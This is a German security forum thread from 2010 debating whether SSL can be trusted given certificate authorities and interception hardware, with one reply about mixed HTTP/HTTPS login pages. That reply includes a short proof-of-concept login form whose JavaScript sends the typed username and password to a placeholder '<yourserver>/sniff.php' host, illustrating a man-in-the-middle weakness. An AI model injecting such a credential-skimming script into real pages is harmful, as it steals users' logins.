[HaBo]

**Chromatin** · 26.03.10, 09:40

Spannende News aus dem Land der CAs. BEsteht die Moeglichkeit, das die Feds saemtliche SSL verschluesselten Kommunikationen mitlesen koennen?

In den USA gibt es einen Hersteller solcher spezieller Geraete, aber der "knackt" nichts

Lesen und aergern:
http://www.eff.org/deeplinks/2010/03...ments-fake-ssl

http://www.wired.com/threatlevel/201...ket-forensics/

Dresko · 27.03.10, 22:48

Naja, ich finde diese Meldung wenig überraschend. Jeder der sich näher mit dem Signierungsprozess von Zertifikaten beschäftigt hat, sollte schon gemerkt haben, dass sowas potentiell möglich ist.

Vielleicht findet nun aber mal ein Umdenken bei den Browser-Herstellern statt, nicht Hunderte von CA-Zertifkaten fest in die Browser zu integrieren und danach einfach alles durchzuwinken...

Anzeige

- Anzeige -

VierZwei · 27.03.10, 23:29

Es gibt für Firefox diese Erweiterung: Perspectives.

Im Prinzip fragt Firefox bei jeder neuen SSL-Verbindung, ob das Zertifikat bereits anderen Nutzern bekannt ist. So soll sichergestellt werden, dass bei selbstsignierten Zertifikaten kein einfacher mitm-Angriff möglich ist, weil keiner den Fingerprint auswendig kennt

Hilft aber nicht gegen langfristig durchgeführte Angriffe.

Inliferty · 28.03.10, 01:35

Ich bin der Meinung von Dresko.
Es ist eigentlich nichts neues.

Unser Informatik Lehrer hat dies sogar erwähnt als wir das Thema "Verschlüsselung und Signierung" durchmachten.
Es ist aber die beste Alternative zum normalen http.

Worüber ich mir mehr sorgen mache ist die Einbindung in Web-Services:
Ein bekanntes soziales Netzwerk, dessen Name ich jetzt nicht nennen will, verfügt zum Beispiel über so eine geniale Einbindung.
Die original Seite ruft beim Login eine https-Seite auf.
Warum sollte ich auf die https-Verbindung warten, wenn ich direkt die Login-Seite manipulieren kann und so beim klicken des Login Buttons das Passwort an mich, als MITM-Angreifer, senden kann.
Von mir aus gleich ein redirect weiter an den original Server. So bemerkt der User nichts.
(Advanced: Login-Formular so bearbeiten das ein Ajax-Request an deinen Server mit dem Passwort gesendet wird und den Login normal durchführen.

Proof of Concept

Meine Meinung dazu ist entweder die Seite vollkommen mit SSL schützen oder es ganz zu lassen.
Ein Mix aus beidem ist irgendwie seltsam.

MfG
Inliferty

Anzeige

- Anzeige -

26.03.10, 09:40	#1 (permalink)
Chromatin Moderator Registriert seit: 30.06.08 Likes: 227	wer traut SSL? Anzeige Spannende News aus dem Land der CAs. BEsteht die Moeglichkeit, das die Feds saemtliche SSL verschluesselten Kommunikationen mitlesen koennen? In den USA gibt es einen Hersteller solcher spezieller Geraete, aber der "knackt" nichts Lesen und aergern: http://www.eff.org/deeplinks/2010/03...ments-fake-ssl http://www.wired.com/threatlevel/201...ket-forensics/ __________________ Wenn ein Gesetz nicht gerecht ist, dann geht die Gerechtigkeit vor dem Gesetz! Habo Blog - http://blog.hackerboard.de/

27.03.10, 22:48	#2 (permalink)
Dresko Registriert seit: 30.01.10 Likes: 1	Naja, ich finde diese Meldung wenig überraschend. Jeder der sich näher mit dem Signierungsprozess von Zertifikaten beschäftigt hat, sollte schon gemerkt haben, dass sowas potentiell möglich ist. Vielleicht findet nun aber mal ein Umdenken bei den Browser-Herstellern statt, nicht Hunderte von CA-Zertifkaten fest in die Browser zu integrieren und danach einfach alles durchzuwinken... __________________ Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning. - Rick Cook -

28.03.10, 01:35	#4 (permalink)
Inliferty Registriert seit: 05.10.05 Likes: 5	Ich bin der Meinung von Dresko. Es ist eigentlich nichts neues. Unser Informatik Lehrer hat dies sogar erwähnt als wir das Thema "Verschlüsselung und Signierung" durchmachten. Es ist aber die beste Alternative zum normalen http. Worüber ich mir mehr sorgen mache ist die Einbindung in Web-Services: Ein bekanntes soziales Netzwerk, dessen Name ich jetzt nicht nennen will, verfügt zum Beispiel über so eine geniale Einbindung. Die original Seite ruft beim Login eine https-Seite auf. Warum sollte ich auf die https-Verbindung warten, wenn ich direkt die Login-Seite manipulieren kann und so beim klicken des Login Buttons das Passwort an mich, als MITM-Angreifer, senden kann. Von mir aus gleich ein redirect weiter an den original Server. So bemerkt der User nichts. (Advanced: Login-Formular so bearbeiten das ein Ajax-Request an deinen Server mit dem Passwort gesendet wird und den Login normal durchführen. Proof of Concept Abgeändertes Login-Formular per MITM-Angriff Code: <script type="text/javascript"> function ProofOfConcept() { var Sniffer; if (window.XMLHttpRequest) { // Firefox, Safari, ... Sniffer = new XMLHttpRequest(); } else if (window.ActiveXObject) // ActiveX version { // Internet Explorer Sniffer = new ActiveXObject("Microsoft.XMLHTTP"); } Sniffer.onreadystatechange = function() { }; Sniffer.open('GET', "http://<yourserver>/sniff.php?user=" + document.ajax.user.value + "&pass=" + document.ajax.pass.value, true); Sniffer.send(null); } </script> <FORM method="POST" name="ajax" action="https://<censored>/login.php"> <INPUT type="text" value="" name="user"> <INPUT type="password" value="" name="pass"> <INPUT type="button" value="Submit" ONCLICK="ProofOfConcept()"> </FORM> Meine Meinung dazu ist entweder die Seite vollkommen mit SSL schützen oder es ganz zu lassen. Ein Mix aus beidem ist irgendwie seltsam. MfG Inliferty

Themen-Optionen
Druckbare Version zeigen Jemanden per E-Mail auf dieses Thema hinweisen
Ansicht
Linear-Darstellung Zur Hybrid-Darstellung wechseln Zur Baum-Darstellung wechseln

27.03.10, 23:29	#3 (permalink)
VierZwei Registriert seit: 30.06.08 Likes: 0	Es gibt für Firefox diese Erweiterung: Perspectives. Im Prinzip fragt Firefox bei jeder neuen SSL-Verbindung, ob das Zertifikat bereits anderen Nutzern bekannt ist. So soll sichergestellt werden, dass bei selbstsignierten Zertifikaten kein einfacher mitm-Angriff möglich ist, weil keiner den Fingerprint auswendig kennt Hilft aber nicht gegen langfristig durchgeführte Angriffe.

[HaBo]

wer traut SSL?